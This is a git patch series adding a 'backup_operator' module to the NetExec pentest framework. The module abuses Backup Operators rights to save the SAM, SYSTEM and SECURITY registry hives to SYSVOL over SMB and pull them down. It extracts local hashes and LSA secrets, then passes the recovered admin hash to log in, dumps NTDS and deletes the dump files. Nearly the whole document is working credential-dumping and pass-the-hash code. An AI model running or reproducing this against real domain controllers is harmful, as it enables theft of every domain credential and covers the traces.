From 923fc4625fec8dd91f49baf7056e3c0b3b2abe6a Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 20:09:23 +0100 Subject: [PATCH 01/12] add backup_operator module --- nxc/modules/backup_operator.py | 141 +++++++++++++++++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 nxc/modules/backup_operator.py diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py new file mode 100644 index 000000000..bfc180b61 --- /dev/null +++ b/nxc/modules/backup_operator.py @@ -0,0 +1,141 @@ +import time +import os +import datetime + +from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations +from impacket.smbconnection import SessionError +from impacket.dcerpc.v5 import transport, rrp + +from nxc.paths import NXC_PATH + +class NXCModule: + name = "backup_operator" + description = "Exploit user in backup operator group to dump NTDS @mpgn_x64" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.domain_admin = None + self.domain_admin_hash = None + + def options(self, context, module_options): + """OPTIONS""" + + def on_login(self, context, connection): + connection.args.share = "SYSVOL" + # enable remote registry + remoteOps = RemoteOperations(connection.conn) + context.log.display("Triggering start trough named pipe...") + self.triggerWinReg(connection.conn, context) + remoteOps.connectWinReg() + + try: + dce = remoteOps.getRRP() + for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: + hRootKey, subKey = self.__strip_root_key(dce, hive) + outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" + context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) + context.log.highlight(f"Saved {hive} to {outputFileName}") + except Exception as e: + context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") + + except (Exception, KeyboardInterrupt) as e: + context.log.fail(str(e)) + finally: + if remoteOps: + remoteOps.finish() + + # copy remote file to local + remoteFileName = "SAM" + log_sam = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) + connection.get_file_single(remoteFileName, log_sam) + + remoteFileName = "SECURITY" + log_security = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) + connection.get_file_single(remoteFileName, log_security) + + remoteFileName = "SYSTEM" + log_system = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) + connection.get_file_single(remoteFileName, log_system) + + # read local file + try: + def parse_sam(secret): + context.log.highlight(secret) + if not self.domain_admin: + first_line = secret.strip().splitlines()[0] + fields = first_line.split(":") + self.domain_admin = fields[0] + self.domain_admin_hash = fields[3] + + localOperations = LocalOperations(log_system) + bootKey = localOperations.getBootKey() + sam_hashes = SAMHashes(log_sam, bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + sam_hashes.dump() + sam_hashes.finish() + + LSA = LSASecrets(log_security, bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA.dumpCachedHashes() + LSA.dumpSecrets() + except Exception as e: + context.log.fail(f"Fail to dump the sam and lsa: {e!s}") + + if self.domain_admin: + context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") + connection.conn.logoff() + connection.create_conn_obj() + connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash) + connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") + context.log.display("Successfully deleted dump files !") + + context.log.display("Dumping NTDS...") + connection.ntds() + else: + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") + + def triggerWinReg(self, connection, context): + # original idea from https://twitter.com/splinter_code/status/1715876413474025704 + tid = connection.connectTree("IPC$") + try: + connection.openFile(tid, r"\winreg", 0x12019f, creationOption=0x40, fileAttributes=0x80) + except SessionError as e: + # STATUS_PIPE_NOT_AVAILABLE error is expected + context.log.debug(str(e)) + # give remote registry time to start + time.sleep(1) + + def __strip_root_key(self, dce, keyName): + # Let's strip the root key + keyName.split("\\")[0] + subKey = "\\".join(keyName.split("\\")[1:]) + ans = rrp.hOpenLocalMachine(dce) + hRootKey = ans["phKey"] + return hRootKey, subKey + + +class RemoteOperations: + def __init__(self, smbConnection): + self.__smbConnection = smbConnection + self.__stringBindingWinReg = r"ncacn_np:445[\pipe\winreg]" + self.__rrp = None + + def getRRP(self): + return self.__rrp + + def connectWinReg(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) + rpc.set_smb_connection(self.__smbConnection) + self.__rrp = rpc.get_dce_rpc() + self.__rrp.connect() + self.__rrp.bind(rrp.MSRPC_UUID_RRP) + + def finish(self): + if self.__rrp is not None: + self.__rrp.disconnect() \ No newline at end of file From 11062abd4be1b85974799345985fcc302a4b8a30 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 9 Jan 2025 20:44:00 +0100 Subject: [PATCH 02/12] add exit if not right --- nxc/modules/backup_operator.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index bfc180b61..775f71ab4 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,6 +1,7 @@ import time import os import datetime +import sys from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError @@ -44,6 +45,7 @@ def on_login(self, context, connection): context.log.highlight(f"Saved {hive} to {outputFileName}") except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") + sys.exit() except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) From bb8747906994b1dcc96244b91faa12a1f9aeee09 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 21:05:05 +0100 Subject: [PATCH 03/12] add test --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 728e93ef4..7568702af 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -86,6 +86,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M backup_operator # currently hanging indefinitely - TODO: look into this #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" From 93acdba831a89f5faa4f8b6c14bc639eee5bcf35 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:14:25 +0100 Subject: [PATCH 04/12] fix review --- nxc/modules/backup_operator.py | 93 ++++++++++++++++++---------------- 1 file changed, 48 insertions(+), 45 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 775f71ab4..0119c39c3 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -6,6 +6,7 @@ from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp +from impacket import nt_errors from nxc.paths import NXC_PATH @@ -29,14 +30,14 @@ def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry remoteOps = RemoteOperations(connection.conn) - context.log.display("Triggering start trough named pipe...") - self.triggerWinReg(connection.conn, context) - remoteOps.connectWinReg() + context.log.display("Triggering start through named pipe...") + self.trigger_winreg(connection.conn, context) + remoteOps.connect_winreg() try: - dce = remoteOps.getRRP() + dce = remoteOps.get_rrp() for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: - hRootKey, subKey = self.__strip_root_key(dce, hive) + hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") try: @@ -46,7 +47,6 @@ def on_login(self, context, connection): except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") sys.exit() - except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: @@ -54,17 +54,9 @@ def on_login(self, context, connection): remoteOps.finish() # copy remote file to local - remoteFileName = "SAM" - log_sam = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) - connection.get_file_single(remoteFileName, log_sam) - - remoteFileName = "SECURITY" - log_security = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) - connection.get_file_single(remoteFileName, log_security) - - remoteFileName = "SYSTEM" - log_system = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.{remoteFileName}".replace(":", "-")) - connection.get_file_single(remoteFileName, log_system) + log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) + for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.get_file_single(hive, log_path + hive) # read local file try: @@ -76,13 +68,13 @@ def parse_sam(secret): self.domain_admin = fields[0] self.domain_admin_hash = fields[3] - localOperations = LocalOperations(log_system) + localOperations = LocalOperations(log_path + "SYSTEM") bootKey = localOperations.getBootKey() - sam_hashes = SAMHashes(log_sam, bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + sam_hashes = SAMHashes(log_path + "SAM", bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_security, bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: @@ -94,50 +86,61 @@ def parse_sam(secret): connection.create_conn_obj() connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash) connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") + try: + for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.conn.listPath("SYSVOL", log_path + hive) + except SessionError as e: + if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: + context.log.fail("Fail to remove the files...") + sys.exit() context.log.display("Successfully deleted dump files !") - context.log.display("Dumping NTDS...") connection.ntds() else: context.log.display("Use the domain admin account to clean the file on the remote host") context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") - def triggerWinReg(self, connection, context): - # original idea from https://twitter.com/splinter_code/status/1715876413474025704 + def trigger_winreg(self, connection, context): + # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 tid = connection.connectTree("IPC$") try: - connection.openFile(tid, r"\winreg", 0x12019f, creationOption=0x40, fileAttributes=0x80) + connection.openFile( + tid, + r"\winreg", + 0x12019F, + creationOption=0x40, + fileAttributes=0x80, + ) except SessionError as e: # STATUS_PIPE_NOT_AVAILABLE error is expected context.log.debug(str(e)) - # give remote registry time to start + # Give remote registry time to start time.sleep(1) - def __strip_root_key(self, dce, keyName): + def _strip_root_key(self, dce, key_name): # Let's strip the root key - keyName.split("\\")[0] - subKey = "\\".join(keyName.split("\\")[1:]) + key_name.split("\\")[0] + sub_key = "\\".join(key_name.split("\\")[1:]) ans = rrp.hOpenLocalMachine(dce) - hRootKey = ans["phKey"] - return hRootKey, subKey - + h_root_key = ans["phKey"] + return h_root_key, sub_key class RemoteOperations: - def __init__(self, smbConnection): - self.__smbConnection = smbConnection - self.__stringBindingWinReg = r"ncacn_np:445[\pipe\winreg]" - self.__rrp = None + def __init__(self, smb_connection): + self._smb_connection = smb_connection + self._string_binding_winreg = r"ncacn_np:445[\pipe\winreg]" + self._rrp = None - def getRRP(self): - return self.__rrp + def get_rrp(self): + return self._rrp - def connectWinReg(self): - rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) - rpc.set_smb_connection(self.__smbConnection) - self.__rrp = rpc.get_dce_rpc() - self.__rrp.connect() - self.__rrp.bind(rrp.MSRPC_UUID_RRP) + def connect_winreg(self): + rpc = transport.DCERPCTransportFactory(self._string_binding_winreg) + rpc.set_smb_connection(self._smb_connection) + self._rrp = rpc.get_dce_rpc() + self._rrp.connect() + self._rrp.bind(rrp.MSRPC_UUID_RRP) def finish(self): - if self.__rrp is not None: - self.__rrp.disconnect() \ No newline at end of file + if self._rrp is not None: + self._rrp.disconnect() \ No newline at end of file From 74d87871664823750a0d24603c5d5252a7526546 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:16:13 +0100 Subject: [PATCH 05/12] fix review --- nxc/modules/backup_operator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 0119c39c3..6cb5b1752 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -68,8 +68,8 @@ def parse_sam(secret): self.domain_admin = fields[0] self.domain_admin_hash = fields[3] - localOperations = LocalOperations(log_path + "SYSTEM") - bootKey = localOperations.getBootKey() + local_operations = LocalOperations(log_path + "SYSTEM") + bootKey = local_operations.getBootKey() sam_hashes = SAMHashes(log_path + "SAM", bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) sam_hashes.dump() sam_hashes.finish() From 333a7f31de33f391efa55e613113ad0b0f9fd233 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:17:15 +0100 Subject: [PATCH 06/12] fix review --- nxc/modules/backup_operator.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 6cb5b1752..3398c602c 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -29,13 +29,13 @@ def options(self, context, module_options): def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry - remoteOps = RemoteOperations(connection.conn) + remote_ops = RemoteOperations(connection.conn) context.log.display("Triggering start through named pipe...") self.trigger_winreg(connection.conn, context) - remoteOps.connect_winreg() + remote_ops.connect_winreg() try: - dce = remoteOps.get_rrp() + dce = remote_ops.get_rrp() for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" @@ -50,8 +50,8 @@ def on_login(self, context, connection): except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: - if remoteOps: - remoteOps.finish() + if remote_ops: + remote_ops.finish() # copy remote file to local log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) From d666ff3f4a86ae835c38ee3b4ffee0991fc41f1e Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:20:58 +0100 Subject: [PATCH 07/12] fix review --- nxc/modules/backup_operator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 3398c602c..4eee5edda 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -74,7 +74,7 @@ def parse_sam(secret): sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", bootKey, remoteOps, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", bootKey, remote_ops, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: From d11532c95a3ac5ab51e9b2fa7dff605a5d89d387 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Fri, 10 Jan 2025 10:29:49 +0100 Subject: [PATCH 08/12] remove useless code --- nxc/modules/backup_operator.py | 33 +++++++-------------------------- 1 file changed, 7 insertions(+), 26 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 4eee5edda..3c819b2f9 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -29,13 +29,15 @@ def options(self, context, module_options): def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry - remote_ops = RemoteOperations(connection.conn) context.log.display("Triggering start through named pipe...") self.trigger_winreg(connection.conn, context) - remote_ops.connect_winreg() + rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") + rpc.set_smb_connection(connection.conn) + dce = rpc.get_dce_rpc() + dce.connect() + dce.bind(rrp.MSRPC_UUID_RRP) try: - dce = remote_ops.get_rrp() for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" @@ -50,8 +52,7 @@ def on_login(self, context, connection): except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: - if remote_ops: - remote_ops.finish() + dce.disconnect() # copy remote file to local log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) @@ -74,7 +75,7 @@ def parse_sam(secret): sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", bootKey, remote_ops, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", bootKey, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: @@ -124,23 +125,3 @@ def _strip_root_key(self, dce, key_name): ans = rrp.hOpenLocalMachine(dce) h_root_key = ans["phKey"] return h_root_key, sub_key - -class RemoteOperations: - def __init__(self, smb_connection): - self._smb_connection = smb_connection - self._string_binding_winreg = r"ncacn_np:445[\pipe\winreg]" - self._rrp = None - - def get_rrp(self): - return self._rrp - - def connect_winreg(self): - rpc = transport.DCERPCTransportFactory(self._string_binding_winreg) - rpc.set_smb_connection(self._smb_connection) - self._rrp = rpc.get_dce_rpc() - self._rrp.connect() - self._rrp.bind(rrp.MSRPC_UUID_RRP) - - def finish(self): - if self._rrp is not None: - self._rrp.disconnect() \ No newline at end of file From 5a63253d16569b011601d01f6fba2ad3a5806996 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 13 Jan 2025 20:50:11 +0100 Subject: [PATCH 09/12] update module --- nxc/modules/backup_operator.py | 36 ++++++++++++++++++++++------------ 1 file changed, 23 insertions(+), 13 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 3c819b2f9..62c089ba1 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -85,21 +85,31 @@ def parse_sam(secret): context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") connection.conn.logoff() connection.create_conn_obj() - connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash) - connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") - try: + if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): + try: + context.log.display("Dumping NTDS...") + connection.ntds() + except Exception as e: + context.log.fail(f"Fail to dump the NTDS: {e!s}") + + connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") for hive in ["SAM", "SECURITY", "SYSTEM"]: - connection.conn.listPath("SYSVOL", log_path + hive) - except SessionError as e: - if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: - context.log.fail("Fail to remove the files...") - sys.exit() - context.log.display("Successfully deleted dump files !") - context.log.display("Dumping NTDS...") - connection.ntds() + try: + connection.conn.listPath("SYSVOL", log_path + hive) + except SessionError as e: + if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: + context.log.fail("Fail to remove the files...") + self.suprress_error(context) + sys.exit() + context.log.display("Successfully deleted dump files !") + else: + self.suprress_error(context) else: - context.log.display("Use the domain admin account to clean the file on the remote host") - context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") + self.suprress_error(context) + + def suprress_error(self, context): + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") def trigger_winreg(self, connection, context): # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 From f999da0a316c3af12f6918dc998348569c1a443c Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 13 Jan 2025 20:52:52 +0100 Subject: [PATCH 10/12] update module --- nxc/modules/backup_operator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 62c089ba1..88550dc17 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -98,7 +98,7 @@ def parse_sam(secret): connection.conn.listPath("SYSVOL", log_path + hive) except SessionError as e: if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: - context.log.fail("Fail to remove the files...") + context.log.fail(f"Fail to remove the file { hive }...") self.suprress_error(context) sys.exit() context.log.display("Successfully deleted dump files !") From 5e04926d7e5f3e37991588665eb8c8e7fbd19c6a Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 13 Jan 2025 21:51:22 +0100 Subject: [PATCH 11/12] update module --- nxc/modules/backup_operator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 88550dc17..0eb777f51 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -82,7 +82,6 @@ def parse_sam(secret): context.log.fail(f"Fail to dump the sam and lsa: {e!s}") if self.domain_admin: - context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") connection.conn.logoff() connection.create_conn_obj() if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): @@ -92,6 +91,7 @@ def parse_sam(secret): except Exception as e: context.log.fail(f"Fail to dump the NTDS: {e!s}") + context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") for hive in ["SAM", "SECURITY", "SYSTEM"]: try: From da3ad306e8bc140573192e9e13adcd2ca7f3eacf Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 18 Jan 2025 14:15:23 +0100 Subject: [PATCH 12/12] fix review --- nxc/modules/backup_operator.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 0eb777f51..9423c1abd 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -70,12 +70,12 @@ def parse_sam(secret): self.domain_admin_hash = fields[3] local_operations = LocalOperations(log_path + "SYSTEM") - bootKey = local_operations.getBootKey() - sam_hashes = SAMHashes(log_path + "SAM", bootKey, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + boot_key = local_operations.getBootKey() + sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) sam_hashes.dump() sam_hashes.finish() - LSA = LSASecrets(log_path + "SECURITY", bootKey, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: @@ -99,15 +99,15 @@ def parse_sam(secret): except SessionError as e: if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: context.log.fail(f"Fail to remove the file { hive }...") - self.suprress_error(context) + self.suppress_error(context) sys.exit() context.log.display("Successfully deleted dump files !") else: - self.suprress_error(context) + self.suppress_error(context) else: - self.suprress_error(context) + self.suppress_error(context) - def suprress_error(self, context): + def suppress_error(self, context): context.log.display("Use the domain admin account to clean the file on the remote host") context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'")